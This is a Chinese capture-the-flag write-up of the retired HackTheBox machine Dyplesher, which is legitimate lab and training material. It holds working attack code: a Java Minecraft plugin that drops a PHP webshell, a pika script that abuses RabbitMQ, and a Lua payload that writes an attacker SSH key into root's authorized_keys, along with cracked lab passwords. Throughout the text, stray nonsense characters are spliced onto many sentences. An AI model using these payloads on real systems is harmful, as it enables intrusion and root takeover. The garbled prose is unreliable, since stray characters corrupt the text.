Dyplesher靶機(jī)是自己第一次完成的現(xiàn)役insane難度htb靶機(jī)。靶機(jī)涉及的服務(wù)相對(duì)比較多,包括web,gogs,minecraft,memcache等等拟烫。不過(guò)說(shuō)實(shí)話做完后感覺(jué)難度跟Travel差不多,到不了insane難度。可能主要是里面的Java知識(shí)對(duì)于大部分人來(lái)說(shuō)偏繁瑣了÷в總體上感覺(jué)還是不錯(cuò)的。這里還是簡(jiǎn)單記錄下過(guò)程以及提權(quán)部分學(xué)到的知識(shí)吧静檬。
- 靶機(jī)ip:10.10.10.190
- kaliip: 10.10.14.23
ps:10.29 靶機(jī)已退役
initial foothold
首先是nmap基本掃描得到三個(gè)端口22,80,3000.進(jìn)一步掃描發(fā)現(xiàn)還有其他幾個(gè)端口炭懊。4369(epmd),5672(amqp),11211等并级。
其中11211是memcache對(duì)應(yīng)端口。之前在travel中用過(guò),所以印象比較深刻侮腹。不過(guò)這里還是簡(jiǎn)單從低端口開(kāi)始審計(jì)嘲碧。
首先web80端口發(fā)現(xiàn)提示這里可能跟mc相關(guān)。從cookie的配置可以看出似乎使用了laravel框架凯旋。因?yàn)槭呛诤兴圆淮_定是否能用RCE打呀潭。
接下來(lái)首頁(yè)還提示了我們一個(gè)子域名test.dyplesher.htb
。加到hosts中至非。
頁(yè)面的/staff
有三個(gè)用戶名
這三個(gè)用戶名在后面會(huì)經(jīng)常出現(xiàn)钠署。
接下來(lái)頁(yè)面信息收集完了。我們爆破下路徑荒椭。發(fā)現(xiàn)存在/login
頁(yè)面谐鼎。簡(jiǎn)單嘗試登錄未果,看來(lái)需要另外收集信息,或者login不是目的。
3000端口是個(gè)gogs服務(wù)趣惠。提供git的話看來(lái)是又有信息泄露了狸棍。不過(guò)同樣我們沒(méi)有可用的信息。不過(guò)gogs倒是在users處提示我們有剛剛上面的三個(gè)用戶味悄。
接下來(lái)去往test.dyplesher.htb.頁(yè)面只接受兩個(gè)參數(shù),似乎是在判斷你的兩個(gè)輸入是否一致草戈。然后嘗試注入也未果。
繼續(xù)掃目錄侍瑟。得到.git
泄露唐片。使用githackdump下來(lái)。
得到index.php源碼
<HTML>
<BODY>
<h1>Add key and value to memcache<h1>
<FORM METHOD="GET" NAME="test" ACTION="">
<INPUT TYPE="text" NAME="add">
<INPUT TYPE="text" NAME="val">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<?php
if($_GET['add'] != $_GET['val']){
$m = new Memcached();
$m->setOption(Memcached::OPT_BINARY_PROTOCOL, true);
$m->setSaslAuthData("felamos", "zxcvbnm");
$m->addServer('127.0.0.1', 11211);
$m->add($_GET['add'], $_GET['val']);
echo "Done!";
}
else {
echo "its equal";
}
?>
</pre>
</BODY>
</HTML>
得到一組memcache賬戶涨颜。嘗試web頁(yè)面的登錄未果费韭。于是直接連接memcache.此處我們使用nodejs的memcache-cli.npm全局下載即可。
memcache-cli felamos:zxcvbnm@10.10.10.190:11211
連接上后收集到三個(gè)用戶名(還是上面三個(gè)人)以及三個(gè)bcrypt密碼庭瑰。
$2a$10$5SAkMNF9fPNamlpWr.ikte0rHInGcU54tvazErpuwGPFePuI1DCJa
$2y$12$c3SrJLybUEOYmpu1RVrJZuPyzE5sxGeM0ZChDhl8MlczVrxiA3pQK
$2a$10$zXNCus.UXtiuJE5e6lsQGefnAH3zipl.FRNySz5C4RjitiwUoalS
hashcat爆破之.只得到一組felamos密碼mommy1星持。
繼續(xù)用這組賬戶嘗試登錄。最后在gogs處登錄成功弹灭。在80端口仍然不能登錄,一度讓我以為那個(gè)登錄是假的督暂。
審查用戶felamos的倉(cāng)庫(kù)。只有g(shù)itlab跟memcached兩個(gè)穷吮。其中memcached的我們已經(jīng)收集過(guò)了逻翁。gitlab倉(cāng)庫(kù)發(fā)現(xiàn)沒(méi)有內(nèi)容,但是有release.
下載release中的repo.zip(20mb下了快半小時(shí)......難受)并解壓。
root@byc404:~/htb/boxes/Dyplesher/git/repositories# find .
.
./@hashed
./@hashed/4e
./@hashed/4e/07
./@hashed/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce
./@hashed/4e/07/4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce.bundle
./@hashed/6b
./@hashed/6b/86
./@hashed/6b/86/6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b.bundle
./@hashed/4b
./@hashed/4b/22
./@hashed/4b/22/4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a.bundle
./@hashed/d4
./@hashed/d4/73
./@hashed/d4/73/d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35.bundle
這里有.bundle
文件酒来。我們單獨(dú)拿出來(lái)并git clone。
#!/bin/bash
for i in $(find ../repositories | grep bundle)
do
git clone $i
done
bundle clone完后的內(nèi)容就有點(diǎn)多了肪凛。同樣簡(jiǎn)單看下四個(gè)倉(cāng)庫(kù)的內(nèi)容,有的是跟mc有關(guān)堰汉。有的是phpbashshell有關(guān)辽社。再次find下找到一個(gè)sqlite的db文件users.db。直接進(jìn)入db.select * from users.
得到
18fb40a5c8d34f249bb8a689914fcac3|$2a$10$IRgHi7pBhb9K0QBQBOzOju0PyOZhBnK4yaWjeZYdeP6oyDvCo9vc6|7|/192.168.43.81
又是一個(gè)bcrypt密碼翘鸭。再度hashcat破解得到alexis1
這次我們終于能登錄進(jìn)80端口的頁(yè)面了滴铅。進(jìn)入后發(fā)現(xiàn)是一個(gè)控制臺(tái)。里面顯示的是mc信息就乓。然后功能包括上傳plugin跟重新加載指定plugin.
emm雖然沒(méi)玩過(guò)正版mc但是至少知道它是java寫(xiě)的汉匙。我在網(wǎng)上找了下發(fā)現(xiàn)有非常全面的指南。感覺(jué)就算不會(huì)java的人也能跟著做了生蚁。當(dāng)然這里我剛好前一天簡(jiǎn)單學(xué)習(xí)了下maven的使用噩翠。所以就idea直接上手maven項(xiàng)目。
具體參考這篇文章,我就簡(jiǎn)單做下解釋,當(dāng)做idea學(xué)習(xí)筆記了邦投。
首先是pom.xml配置
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>top.bycsec</groupId>
<artifactId>java_mc_exp</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<maven.compiler.encoding>UTF-8</maven.compiler.encoding>
<java.version>10</java.version>
<maven.compiler.source>10</maven.compiler.source>
<maven.compiler.target>10</maven.compiler.target>
</properties>
<repositories>
<repository>
<id>spigotmc-repo</id>
<url>https://hub.spigotmc.org/nexus/content/repositories/snapshots/</url>
</repository>
</repositories>
<dependencies>
<dependency>
<groupId>org.spigotmc</groupId>
<artifactId>spigot-api</artifactId>
<version>1.16.1-R0.1-SNAPSHOT</version>
<scope>provided</scope>
</dependency>
</dependencies>
</project>
groupID這種建項(xiàng)目前就應(yīng)該已經(jīng)讓我們自己配置好了伤锚。我按照正常標(biāo)準(zhǔn)定為top.bycsec
.然后下面properties的設(shè)定是一個(gè)小坑。因?yàn)樽约篿dea的jdk版本跟系統(tǒng)不一致,然后還有系統(tǒng)的語(yǔ)言level水平等等問(wèn)題志衣。導(dǎo)致maven編譯時(shí)會(huì)出現(xiàn)報(bào)錯(cuò)"不支持發(fā)行版本5".經(jīng)常改完了配置還是報(bào)錯(cuò)屯援。解決方法只有像上面那樣按照自己的標(biāo)準(zhǔn)配置pom.xml才能避免報(bào)錯(cuò)。
下面的倉(cāng)庫(kù)是spigot 給mc用的maven倉(cāng)庫(kù)念脯。我們會(huì)用到的spigot-api得去對(duì)應(yīng)的倉(cāng)庫(kù)下載狞洋。
然后最終完整的目錄結(jié)構(gòu)如下。
resources即外部資源包中需要plugin.yml
來(lái)指定plugin信息绿店。這里非常重要吉懊。因?yàn)槲覀兒竺嬉玫絧lugin的命字。其中似乎不能包含_
這樣的字符惯吕。所以直接取一個(gè)正常的名字惕它。
然后是main下編寫(xiě)。這里我們因?yàn)椴皇怯玫膍vn創(chuàng)建的,是不會(huì)指定包的废登。所以我們自己建個(gè)包top.bycsec.plugin
并新建PluginExp
作為要加載的主類(lèi)淹魄。同時(shí)plugin.yml中也將這個(gè)類(lèi)指定為加載的主類(lèi)。
接下來(lái)是利用類(lèi)的編寫(xiě)
package top.bycsec.plugin;
import org.bukkit.plugin.java.JavaPlugin;
import java.io.File;
import java.io.FileOutputStream;
import java.io.IOException;
public class PluginExp extends JavaPlugin {
@Override
public void onEnable() {
final String code="<?php @system($_REQUEST[byc]);?>";
try {
File file = new File("/var/www/html/bycshell.php");
if (!file.exists()) {
File dir = new File(file.getParent());
dir.mkdirs();
file.createNewFile();
}
FileOutputStream outStream = new FileOutputStream(file);
outStream.write(code.getBytes());
outStream.close();
} catch (IOException e) {
e.printStackTrace();
}
super.onEnable();
}
@Override
public void onDisable() {
super.onDisable();
}
}
首先注意插件類(lèi)必須繼承JavaPlugin堡距。這個(gè)maven下載依賴時(shí)會(huì)幫我們下好甲锡。然后只需重寫(xiě)兩個(gè)方法即可。我們使用onEnable插入惡意代碼,這樣就可以在插件生效時(shí)直接執(zhí)行羽戒。
這里選擇寫(xiě)入webshell原因有點(diǎn)多缤沦。首先題目靶機(jī)居然是不通外網(wǎng)的。這個(gè)我真沒(méi)想到易稠。其次java項(xiàng)目大多配置好了一些禁止類(lèi)缸废。runtime很有可能是行不通的。所以我選擇直接寫(xiě)入webshell(猜了一手laravel對(duì)應(yīng)的就是html文件夾而不是dyplesher.htb)
最后完成后我們使用maven編譯打包。直接雙擊右邊maven的生命周期中的package即可創(chuàng)建對(duì)應(yīng)jar file.
回到網(wǎng)頁(yè)上傳plugin并使用plugin名byc404 reload.
寫(xiě)入webshell.
然后到這一步后才真正意識(shí)到靶機(jī)不通外網(wǎng)企量。所以常規(guī)彈shell不可行测萎。只能?chē)L試寫(xiě)入ssh公鑰。
成功登陸届巩。
小結(jié)下硅瞧。這一部分難度其實(shí)還好。主要時(shí)間都花在爆破密碼以及編寫(xiě)java的exp時(shí)被idea的報(bào)錯(cuò)給困擾了一小會(huì)上了恕汇。但是老實(shí)說(shuō)確實(shí)沒(méi)有什么難度腕唧。正好讓自己把剛學(xué)的maven鞏固了一下。一舉兩得瘾英。
privesc to user
簡(jiǎn)單看下user文件夾下果不其然還有yuntao
跟felamos
兩個(gè)用戶
接下來(lái)在使用MinatoTW的id時(shí)發(fā)現(xiàn)一個(gè)重要信息
uid=1001(MinatoTW) gid=1001(MinatoTW) groups=1001(MinatoTW),122(wireshark)
MinatoTW是wireshark用戶組的枣接。也就是說(shuō)我們可以用靶機(jī)上的wireshark抓包。確認(rèn)了下網(wǎng)卡應(yīng)該是lo.(lo代表127.0.0.1方咆,即localhost)
tshark -i lo -F pcap -w byc.pcap
抓一段時(shí)間的包后用wireshark打開(kāi)分析.跟下tcp流
很快就能抓到關(guān)鍵信息
AMQPLib.platformS....PHP.versionS....2.11.1.informationS.... copyrightS.....capabilitiesF.....authentication_failure_closet..publisher_confirmst..consumer_cancel_notifyt..exchange_exchange_bindingst.
basic.nackt..connection.blockedt..AMQPLAIN...,.LOGINS....yuntao.PASSWORDS...
EashAnicOc3Op.en_US.
這一段似乎是AMQP的通信內(nèi)容月腋。其中有一組用戶密碼yuntao:EashAnicOc3Op
并且緊接著下面就有多組用戶信息。似乎來(lái)自于mc
{"name":"MinatoTW","email":"MinatoTW@dyplesher.htb","address":"India","password":"bihys1amFov","subscribed":true}
{"name":"yuntao","email":"yuntao@dyplesher.htb","address":"Italy","password":"wagthAw4ob","subscribed":true}
{"name":"felamos","email":"felamos@dyplesher.htb","address":"India","password":"tieb0graQueg","subscribed":true}
經(jīng)測(cè)試發(fā)現(xiàn)這三組密碼均為系統(tǒng)用戶密碼瓣赂。
su后即可在felamos文件夾下拿到user.txt
privesc to root
接下來(lái)在felamos有一個(gè)yuntao的文件夾榆骚。里面寫(xiě)著send.sh
#!/bin/bash
echo 'Hey yuntao, Please publish all cuberite plugins created by players on plugin_data "Exchange" and "Queue". Just send url to download plugins and our new code will review it and working plugins will be added to the server.' > /dev/pts/{}
cuberite plugins 是以lua語(yǔ)言編寫(xiě)的插件。而這里的信息似乎在提示我們可以編寫(xiě)惡意lua插件來(lái)進(jìn)行privesc.并且提示說(shuō)只要提供lua的url地址就可以將插件加入服務(wù)煌集。
"Exchange" and "Queue" 的含義在我進(jìn)行了一些簡(jiǎn)單的enum后發(fā)現(xiàn)應(yīng)該是AMQP所用到的妓肢。由于我們一開(kāi)始就發(fā)現(xiàn)AMQP端口是對(duì)外的,而且剛剛wireshark抓到了一組yuntao的賬戶還沒(méi)用上。極大可能就是利用amqp去進(jìn)行通信加載lua插件苫纤。
這里靶機(jī)上跑著的是RabbitMQ.而RabbitMQ默認(rèn)是root權(quán)限跑的碉钠。并且我們可以在靶機(jī)上找到運(yùn)行信息。
我們看看一套 MQ 完整流程是什么樣的:
首先將 RabbitMQ 服務(wù)啟動(dòng)
Producer
1卷拘、創(chuàng)建一個(gè) connection
2喊废、在 connection 基礎(chǔ)上創(chuàng)建一個(gè)頻道 channel
3、在頻道 channel 上聲明一個(gè) exchange栗弟,參數(shù)為 exchange 的類(lèi)型和名稱(chēng)
4污筷、在頻道 channel 上發(fā)布消息,參數(shù)為 exchange 的名稱(chēng)以及路由 (routing_key) 以及消息體
5乍赫、關(guān)閉 connection
這里我們可以推測(cè)前面的提示中plugin_data
可能就是路由瓣蛀。而我們要傳遞的消息體就是lua的url.接下來(lái)我們使用python 的pika進(jìn)行編寫(xiě)
import pika
creds=pika.PlainCredentials('yuntao','EashAnicOc3Op')
params=pika.Connectionparams('10.10.10.190',5672,'/',creds)
conn=pika.BlockingConnection(params)
channel = conn.channel()
channel.basic_publish(exchange='', routing_key='plugin_data',body="http://127.0.0.1:9001/exp.lua")
conn.close()
然后準(zhǔn)備一個(gè)惡意的lua腳本。由于lua反彈shell我發(fā)現(xiàn)似乎都是不交互的雷厂,所以選擇寫(xiě)ssh key
f=io.open("/root/.ssh/authorized_keys", "w")
f:write("ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1dF791Ph8rC/PU4fXFjW4rBuU8JbmozNWx1kll3NA5r/vhpG05UZ/7dl8+Hs+bbnv/4TMferXgPj27QFJNGBuEfM+ZVO9ah5QNTwrO26vlCP885GyO0RoAoFM0ZNQaYfim1j6zrnplgWtJ7rIHRyrxt6ZDCFq7hGQm8CQP1xbVeaYoYYYHAVVt3IxDbeHh5pJsZDNvzsh1RZNCQlLdwvpoDdWhNPYq+lNYWSjGmW9nMVgQzcY1rk2IEf0Cg5NbZyFtBHITEG0myWIEXtg8D+t9f3IZbgzjaXkN4lVbGAGhNHvfrCemrmTWCbfpuoSS7mE65qfo87yVJdxwWYbx47fe0FMGtDBexa/+WyRApN+E/n3D+Dk56bnzSWiWzzxQptxJVPnM+txWOA6aixGb0PJpO1Wa2S29kg1C4GLNaEKXupursO7Vewq4ZCyzQmeWi2g8BljNqjIA89C9v2cRyFx+lIILxwNn2xbjVVf/WYjcE3lXLpqqz2CzCfuR+4xbSU= root@byc404")
f:close()
在靶機(jī)上起個(gè)python監(jiān)聽(tīng)9001,然后kali運(yùn)行腳本惋增。看到靶機(jī)上獲取到lua腳本后就可以root ssh登錄了改鲫。
rooted.
summary
insane難度的靶機(jī)首先確實(shí)有一定難度诈皿。不過(guò)整體上我感覺(jué)跟travel難度差不多林束。主要enum的過(guò)程沒(méi)有那么枯燥,而利用起來(lái)的難度也沒(méi)那么高。但是總歸還是很有水平的靶機(jī)稽亏。需要我們耐心的去整合信息并學(xué)習(xí)新知識(shí)诊县。編寫(xiě)mc跟lua插件都是在提醒我們不要允許用戶擅自添加自己的插件,否則就可能帶來(lái)漏洞利用措左。